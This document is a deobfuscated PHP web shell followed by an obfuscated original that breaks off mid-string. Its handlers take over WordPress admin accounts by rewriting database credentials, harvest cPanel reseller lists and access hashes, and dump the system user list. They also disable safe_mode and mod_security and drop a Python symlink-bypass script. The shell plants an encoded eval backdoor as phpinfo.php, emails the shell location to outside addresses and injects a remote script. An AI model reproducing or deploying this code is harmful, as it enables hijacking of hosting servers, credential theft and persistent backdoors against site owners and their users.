        echo "\r\n<style>\r\n@import 'https://fonts.googleapis.com/css?family=Open+Sans';\r\ninput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n\tcolor:#fff;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\ninput[type=submit]:hover{\r\n\tbox-shadow: 0 0 2px #ffb101;\r\n}\r\nh1{\r\n\tcolor:#16a085;\r\n\ttext-shadow:0 0 5px;\r\n\tfont-family: Open Sans;\r\n}\r\n#gter{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\twidth: 100%;\r\n\ttext-align: center;\r\n\tbackground: black;\r\n\tcolor:#fff;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n\tfont-family: Open Sans;\r\n\tmargin-bottom:20px;\r\n}\r\n#gter span{\r\n\tcolor:white;\r\n\tfont-size: 18px;\r\n\ttext-shadow: :0px 0px 15px #00ffff;\r\n}\r\n.f{\r\n\tcolor:white;\r\n\tfont-family: Open Sans;\r\n\ttext-shadow: 0 0 15px #00ffff;\r\n\tfont-size: 21px;\r\n}\r\na{\r\n\tfont-family: Open Sans;\r\n\ttext-decoration: none;\r\n\tcolor:white;\r\n\ttext-shadow:0 0 15px #ffb101;\r\n}\r\nform{\r\n\tmargin-top: 10px;\r\n}\r\n\r\n\r\ninput[type=text]{\r\n\tfont-family:Open Sans;\r\n\twidth: 350px;\r\n\theight: 20px;\r\n\tpadding: 5px;\r\n\tfont-size:13px;\r\n}\r\n\r\n.heading{\r\n\tcolor:white;\r\n\tfont-size:25px;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: -110px;\r\n\tfont-family:Open Sans;\r\n\ttext-shadow:0px 0px 20px red;\r\n}\r\n</style>\r\n</head>\r\n<center>\r\n\r\n<form method='post'>\r\n<input type='text' name='config' placeholder='http://www.site.com/sym404'>\r\n<br><br>\r\n<input type='submit' name='ch' value='Change Admin'>\r\n</form>\r\n</center>";
        set_time_limit(0);
        error_reporting(0);
        if ($_POST['ch']) {
            $get2 = file_get_contents($_POST['config']);
            preg_match_all('#<a href="(.*?)"#', $get2, $config);
            foreach ($config[1] as $don) {
                $get = file_get_contents($_POST['config'] . "/" . $don);
                preg_match_all("#'DB_HOST', '(.*?)'#", $get, $host);
                foreach ($host[1] as $don) {
                    $host = $don;
                }
                preg_match_all("#'DB_PASSWORD', '(.*?)'#", $get, $pass);
                foreach ($pass[1] as $done) {
                    $password = $done;
                }
                preg_match_all("#'DB_USER', '(.*?)'#", $get, $user);
                foreach ($user[1] as $done1) {
                    $user = $done1;
                }
                preg_match_all("#'DB_NAME', '(.*?)'#", $get, $name);
                foreach ($name[1] as $done2) {
                    $name = $done2;
                }
                preg_match_all("#{$table_prefix}  = '(.*?)'#", $get, $prefix);
                foreach ($prefix[1] as $done3) {
                    $prefix = $done3;
                }
                $connect = mysqli_connect($host, $user, $password, $name);
                if ($connect) {
                    $query1 = mysqli_query($connect, "select * from " . $prefix . "options where option_name='siteurl'");
                    while ($siteurl = mysqli_fetch_array($query1)) {
                        $site_url = $siteurl['option_value'];
                    }
                    $query2 = mysqli_query($connect, "update " . $prefix . "users set user_login='admin',user_pass='a09ac1f98189b89fd578b4fca7bf8bb2'");
                    if ($query2) {
                        echo "<center><span class=f>URL : <a href='{$site_url}/wp-login.php' target='_blank'>{$site_url}/wp-login.php</a><br><br>UserName : admin<br><br>Password : Priv8shell<br><br></span></center>";
                    }
                }
            }
        }
        echo "</body></html>";
        die;
    }
    if (isset($_REQUEST['reseller'])) {
        $name = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNHN0ciUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
        $str = "==wkrzGf3Uo9nEg/syVmQa32vARsg2IE/GongruHmL3Clo45Onzs9H83i9V6ST+aYLo0cpZ8wyoXh/er2I/tAYQ4HRM2S/e1bSaQieZXn5Qybba6NfyF7DS/Ha1mb2uSv8vVVqHzipPzvNbmykqPoPgu2ZP4Xp6I/F9G7vFpvDuhfO0qkjy04UhhuMY6T1xPhECgPXd8X0igTVA7nIfQuhQnO8UjBD7g2jd373kjb7VZcedprTlFk8M8X2qBNCtBMXYB60MyoxTTgOL7pQzSst2K83anMG7mjuBNtjhwTE42a5gdCji7lb5ITVsO+tWQsuRo00L0X7TJ8AaohLYufDES5Y23JcLxbTsGACNSMrpkdzA3i1YaMCIGeRDoLAdv+ZQdGFnxFa1xaIFUlkAZWROw/cLv5zGBOQzDyyJ4dZtthgWHj9pTOHZ1pNVWLgo9eIQQTjMwq4qd032QwW8GDVvkWeO4278Gty5dblTbsRufuVSnbdJJeNEPmsPq1PPftAFtfsDN8G73sYLMQre3nCS3XQZ1uZCqrdB/GF3ou0iuS/qcQwCoMVoLsy+R3VkKXajn/OU8s7H3+8xt3d7jQ+3tvEOhCLUtbs0RXtGiRFSezm7G63/fhAcy+Koc3267LtMkH1Y70PZT+sv02XeiRFSFqZGgxQk5tWrrdYxugocyiGKprdI2/00FOJ3wXwdzmFUIhJtQTm8UzldowIyAJZrLXvwNtaWDDzKZaHmFk8hO+xyZWMLa/5yTHO7T1OKn2pFOOPrHSzwVa2N4IOWIhFHew5eNewVQsVu8vXJLGss5vbouel0ch6lA6fv5u8+7J8NCUZtzmcqOjjdqkZxyDdAWCvKLuNITXII+CxCnWNAkHnVmfUdCIezQD88pNZ5L7b011YmtLQZ/PNR0lCzWyNFNrWRUhSMzH2qAUW6UEYSaKqL7rtSdhIGyYDUVvJKArSnmgv+ZSwlafrQyltEIXb8FyNQjpGoXHIRWlQu2dz4nCRd2L3bpJpkZ3SHF6G+L8Z2afVA5+hoHQ2UhfUUviH4UKGaO7eROlqi5WQV7608/a+5s24HYJnY50KGi416DJ/sSwrZKdxA6zuzSjsyiIX/UUmGaewQ90DM3cOexhTi0bhTBHfigWmIr62OQCX1I/FuGyA60TU8owe2h8S29AvVDG32kaSaKi9YG8Q28IzembYcTbRA7afUGywTSzsYMTWZm9heyNYuZzjDcUvEYsEFQ7SRObIilJP0Ofj/GWWLJKUCCIiqlDKAb9YxmP02h2Cp9evcYh5+kSSi3IVQVB+Pgb3DE2MubBbV7ciH/oMw1BwJe83xAiHA/YMw5Bw/EDweA";
        $text = "Sy1LzNHIKMnNKS5ITc5MzEnOSCwqjk9JTc5PSdUoLcqBspISi1PNTGDiKnmJuamaQGANAA==";
        eval /* PHPDeobfuscator eval output */ {
            echo " \r\n<style>\r\nbody {\r\n\r\n\tcolor: white;\r\n\t\r\n}\r\n\t.yankes{\r\n\t\t\r\n\t\tborder: 1px solid white;\r\n\r\n\t\tpadding: 2px 10px ;\r\n\t\tmargin-top: 2px;\r\n\t\tborder-radius: 3px;\r\n\t\tcolor: white;\r\n\t\twidth: 300;\r\n\t\tsize: 3px;\r\n\t\tfont-family: arial;\r\n\t}\r\n\t\r\n</style>";
            @ini_set('display_errors', 0);
            $xtmp = "tmp.txt";
            $tmp1 = fopen($xtmp, "w");
            fwrite($tmp1, "");
            fclose($tmp1);
            $resellerpool = "/etc/trueuserowners";
            if (file_exists($resellerpool)) {
                $resellerpool2 = file_get_contents($resellerpool);
                $lines = count(file($resellerpool));
                preg_match_all("/\\S+:\\s+\\S+/", $resellerpool2, $seller);
                for ($i = 0; $i < $lines; $i++) {
                    $user = preg_replace("/\\S+:\\s+/", "", $seller[0][$i]);
                    $check = file_get_contents($xtmp);
                    if (preg_match("/{$user}/", $check)) {
                    } else {
                        $tmp = fopen($xtmp, "a");
                        fwrite($tmp, "{$user}\n");
                        fclose($tmp);
                    }
                }
                $totalresell = count(file($xtmp));
                echo "<center><font color='#ffdf42' size='4'>" . $totalresell . " WHM Seller </font><center><br>";
                //GET RESELLER
                $resellers = file_get_contents($xtmp);
                $arrayresell = explode("\n", $resellers);
                foreach ($arrayresell as $u) {
                    $ufile = "{$u}.txt";
                    if (!empty($u)) {
                        /*$resellerpool2 = file_get_contents($resellerpool);
                        $lines = count(file($resellerpool));
                        */
                        preg_match_all("/:\\s+{$u}/", $resellerpool2, $m);
                        for ($x = 0; $x < $lines; $x++) {
                            if (!empty($m[0][$x])) {
                                /*if(file_exists($ufile)){
                                unlink($ufile);
                                }*/
                                $tmpusr = fopen($ufile, "a");
                                fwrite($tmpusr, $m[0][$x] . "\n");
                                fclose($tmpusr);
                            } else {
                            }
                        }
                        if ($u == "root") {
                            $acchash = '/' . $u . '/.accesshash';
                            $pathto = getcwd();
                            $whm = $u . "-whm.txt";
                            if (is_readable($acchash)) {
                                copy($acchash, "" . $pathto . "/" . $whm . "");
                                $hehe = file_get_contents("" . $pathto . "/" . $whm . "");
                                $totalusr = count(file($ufile));
                                ob_flush();
                                flush();
                                echo "<center><div class='yankes'><font size='2'>" . $u . " = ( " . $totalusr . " User) <br><i>Found Accesshash(" . $hehe . ")</i></font></div><center><br>";
                            } else {
                                $totalusr = count(file($ufile));
                                ob_flush();
                                flush();
                                echo "<center><div class='yankes'><font size='2'>" . $u . " = ( " . $totalusr . " User)</font></div><center><br>";
                            }
                        } else {
                            $acchash = '/home/' . $u . '/.accesshash';
                            $pathto = getcwd();
                            $whm = $u . "-whm.txt";
                            if (is_readable($acchash)) {
                                copy($acchash, "" . $pathto . "/" . $whm . "");
                                $hehe = file_get_contents("" . $pathto . "/" . $whm . "");
                                $totalusr = count(file($ufile));
                                ob_flush();
                                flush();
                                echo "<center><div class='yankes'><font size='2'>" . $u . " = ( " . $totalusr . " User) <br>Found Accesshash(" . $hehe . ")</font></div><center><br>";
                            } else {
                                $totalusr = count(file($ufile));
                                ob_flush();
                                flush();
                                echo "<center><div class='yankes'><font size='2'>" . $u . " = ( " . $totalusr . " User)</font></div><center><br>";
                            }
                        }
                    } else {
                    }
                }
                foreach ($arrayresell as $u) {
                    $ufile = "{$u}.txt";
                    unlink($ufile);
                }
                unlink($xtmp);
            } else {
                echo "<center><b>NotFound</b></center>";
            }
            ?>
<br>
<span style="margin-top: 8px; color:red; font-family: arial;"><i><i></span>
</body>
</html><?php 
        };
        die;
    }
    if (isset($_REQUEST['passwd'])) {
        @ini_set('error_log', NULL);
        @ini_set('log_errors', 0);
        @ini_set('max_execution_time', 0);
        @ini_set('output_buffering', 0);
        @ini_set('display_errors', 0);
        echo "<center>";
        echo "<textarea class='inputz' cols='90' rows='20'>";
        for ($uid = 0; $uid < 60000; $uid++) {
            $ara = posix_getpwuid($uid);
            if (!empty($ara)) {
                while (list($key, $val) = each($ara)) {
                    print "{$val}:";
                }
                print "\r\n";
            }
        }
        echo "</textarea><br><br>";
        die;
    }
    if (isset($_REQUEST['disabled'])) {
        echo "<html>\r\n\r\n<head>\r\n<meta http-equiv='pragma' content='no-cache'>\r\n</head><body>";
        $fp = fopen("php.ini", "w+");
        fwrite($fp, "safe_mode = Off\r\ndisable_functions  =    NONE\r\nopen_basedir = OFF ");
        echo "<center><b><font color='white' size='4'>[SafeMode Done]</font></center>";
        echo "";
        $fp2 = fopen(".htaccess", "w+");
        fwrite($fp2, "\r\n<IfModule mod_security.c>\r\nKillFilterEngine Off\r\nKillFilterScanPOST Off\r\nKillFilterCheckURLEncoding Off\r\nKillFilterCheckUnicodeEncoding Off\r\n</IfModule>\r\n");
        echo "<center><b> <font color='white' size='4'>[Mod_Security Done]</font></center>";
        die;
    }
    if (isset($_REQUEST['sym'])) {
        error_reporting(0);
        $sym_dir = mkdir('priv_sympy', 0755);
        chdir('priv_sympy');
        $file_sym = "sym.py";
        $sym_script = "Iy8qUHl0aG9uCgppbXBvcnQgdGltZQppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcmUKCm9zLnN5c3RlbSgiY29sb3IgQyIpCgpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIgpmID0gIkFsbCBQcm9jZXNzZXMgRG9uZSFcblN5bWxpbmsgQnlwYXNzZWQgU3VjY2Vzc2Z1bGx5IVxuIgpwcmludCAiXG4iCgpvcy5tYWtlZGlycygnc3ltJykKb3MuY2hkaXIoJ3N5bScpCgpzdXNyPVtdCnNpdGV4PVtdCm9zLnN5c3RlbSgibG4gLXMgLyBwcml2OC50eHQiKQoKaCA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IHByaXY4LnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIgptID0gb3BlbigiLmh0YWNjZXNzIiwidysiKQptLndyaXRlKGgpCm0uY2xvc2UoKQpwcmludCBodGEKCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+UHJpdjggU215bGluazxicj48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+IgoKbyA9IG9wZW4oJy9ldGMvcGFzc3dkJywncicpCm89by5yZWFkKCkKbyA9IHJlLmZpbmRhbGwoJy9ob21lL1x3KycsbykKCmZvciB4dXNyIGluIG86Cgl4dXNyPXh1c3IucmVwbGFjZSgnL2hvbWUvJywnJykKCXN1c3IuYXBwZW5kKHh1c3IpCnByaW50ICItIiozMAp4c2l0ZSA9IG9zLmxpc3RkaXIoIi92YXIvbmFtZWQiKQoKZm9yIHh4c2l0ZSBpbiB4c2l0ZToKCXh4c2l0ZT14eHNpdGUucmVwbGFjZSgiLmRiIiwiIikKCXNpdGV4LmFwcGVuZCh4eHNpdGUpCnByaW50IGYKcGF0aD1vcy5nZXRjd2QoKQppZiAiL3B1YmxpY19odG1sLyIgaW4gcGF0aDoKCXBhdGg9Ii9wdWJsaWNfaHRtbC8iCmVsc2U6CglwYXRoID0gIi9odG1sLyIKY291bnRlcj0xCmlwcz1vcGVuKCJwcml2OC5waHRtbCIsInciKQppcHMud3JpdGUoc2YpCgpmb3IgZnVzciBpbiBzdXNyOgoJZm9yIGZzaXRlIGluIHNpdGV4OgoJCWZ1PWZ1c3JbMDo1XQoJCXM9ZnNpdGVbMDo1XQoJCWlmIGZ1PT1zOgoJCQlpcHMud3JpdGUoIjxib2R5IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6d2hpdGU7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOnJlZDs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7PjxhIGhyZWY9cHJpdjgudHh0L2hvbWUvJXMlcyB0YXJnZXQ9X2JsYW5rID4lczwvYT48L3RkPiIlKGNvdW50ZXIsZnVzcixmdXNyLHBhdGgsZnNpdGUpKQoJCQljb3VudGVyPWNvdW50ZXIrMQ==";
        $sym = fopen($file_sym, "w");
        fwrite($sym, "#/*Python\n\nimport time\nimport os\nimport sys\nimport re\n\nos.system(\"color C\")\n\nhta = \"\\nFile : .htaccess // Created Successfully!\\n\"\nf = \"All Processes Done!\\nSymlink Bypassed Successfully!\\n\"\nprint \"\\n\"\n\nos.makedirs('sym')\nos.chdir('sym')\n\nsusr=[]\nsitex=[]\nos.system(\"ln -s / priv8.txt\")\n\nh = \"Options Indexes FollowSymLinks\\nDirectoryIndex priv8.phtml\\nAddType txt .php\\nAddHandler txt .php\"\nm = open(\".htaccess\",\"w+\")\nm.write(h)\nm.close()\nprint hta\n\nsf = \"<html><title>Symlink Python</title><center><font color=white size=5>Priv8 Smylink<br></font><br><font color=white size=3><table>\"\n\no = open('/etc/passwd','r')\no=o.read()\no = re.findall('/home/\\w+',o)\n\nfor xusr in o:\n\txusr=xusr.replace('/home/','')\n\tsusr.append(xusr)\nprint \"-\"*30\nxsite = os.listdir(\"/var/named\")\n\nfor xxsite in xsite:\n\txxsite=xxsite.replace(\".db\",\"\")\n\tsitex.append(xxsite)\nprint f\npath=os.getcwd()\nif \"/public_html/\" in path:\n\tpath=\"/public_html/\"\nelse:\n\tpath = \"/html/\"\ncounter=1\nips=open(\"priv8.phtml\",\"w\")\nips.write(sf)\n\nfor fusr in susr:\n\tfor fsite in sitex:\n\t\tfu=fusr[0:5]\n\t\ts=fsite[0:5]\n\t\tif fu==s:\n\t\t\tips.write(\"<body bgcolor=black><tr><td style=font-family:calibri;font-weight:bold;color:white;>%s</td><td style=font-family:calibri;font-weight:bold;color:red;>%s</td><td style=font-family:calibri;font-weight:bold;><a href=priv8.txt/home/%s%s target=_blank >%s</a></td>\"%(counter,fusr,fusr,path,fsite))\n\t\t\tcounter=counter+1");
        chmod($file_sym, 0755);
        $khoer = exec("python sym.py");
        echo "<br><center><font color='white'>Done ...</font> <a href='priv_sympy/sym/' target='_blank'><font color='#ffb101'>Click Here</font> </a>";
        die;
    }
    // xd
    if (empty($_POST['a'])) {
        if (isset($asciifnc3) && function_exists('action' . $asciifnc3)) {
            $_POST['a'] = $asciifnc3;
        } else {
            $_POST['a'] = 'FilesMan';
        }
    }
    if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
        call_user_func('action' . $_POST['a']);
    }
    $ikrhtfy = $_SERVER["DOCUMENT_ROOT"] . '/' . 'phpinfo.php';
    $fghky_ouvcbt = '<?php phpinfo();


$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "=kNpMtH71+ljPksZMcCcwcK+3fDlWgk7NrBwORQ/WY/zBOoBN4X5VZLsGffsu1D7GtfN+HA/jfc4llGsPjjJ9bYdzfpXuEKc5lgWShDAjYIIyjLEB6sJ7xwmW/t3sAjUdNhc365UYm35GrrxT/tH/rnbb1CtIqbEcyy3idRJJkv+7+nmXjdVY/WLfqnB02J4O1fe/7lAU0MajUGZSsHwKqhmHzv900i0h3YtoOCJcosuAHEtpAimJmdmoFCB2NZlgqVobRLXemwlekB8PSBazZLFbIHPfRsqapn5Z2WFCGLcWb5Ls9hJahXA7YV+RHfRiYvgTQpUFHyk8tcxG2ovhQOTquhQ66yaMV9H6FEhemC6vu7woIlYFCFlmOADdmcnyI39588cbGYIw42qSs//TI4HhYD0z0ItUW6T0Zs4GozL1SjnL3tNWA5gc9D9v0HFwI8adFVbcin/sGwUBwJe+HaAeFg/cGwYB4/lBgWA";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));

?>';
    if (!file_exists($ikrhtfy)) {
        touch($ikrhtfy);
        chmod($ikrhtfy, 0666);
    }
    $opazxcdnm = fopen($ikrhtfy, "w");
    if (!fwrite($opazxcdnm, $fghky_ouvcbt)) {
        exit;
    }
    $b = "Soldier'ss";
    $c = "Dosya Yolu : " . $_SERVER['DOCUMENT_ROOT'] . "\r\n";
    $c .= "Server Admin : " . $_SERVER['SERVER_ADMIN'] . "\r\n";
    $c .= "Server isletim sistemi : " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
    $c .= "Shell Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\r\n";
    $c .= "Avlanan Site : " . $_SERVER['HTTP_HOST'] . "\r\n";
    mail("hacklinksatis@gmail.com", $b, $c);
    mail("burdayimreis@gmail.com", $b, $c);
    echo "<SCRIPT SRC=http://teledramasinhala.com/img/icons/image.js></SCRIPT>";
    ?>

<?php 
};
exit;


Original code

<?php
$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "=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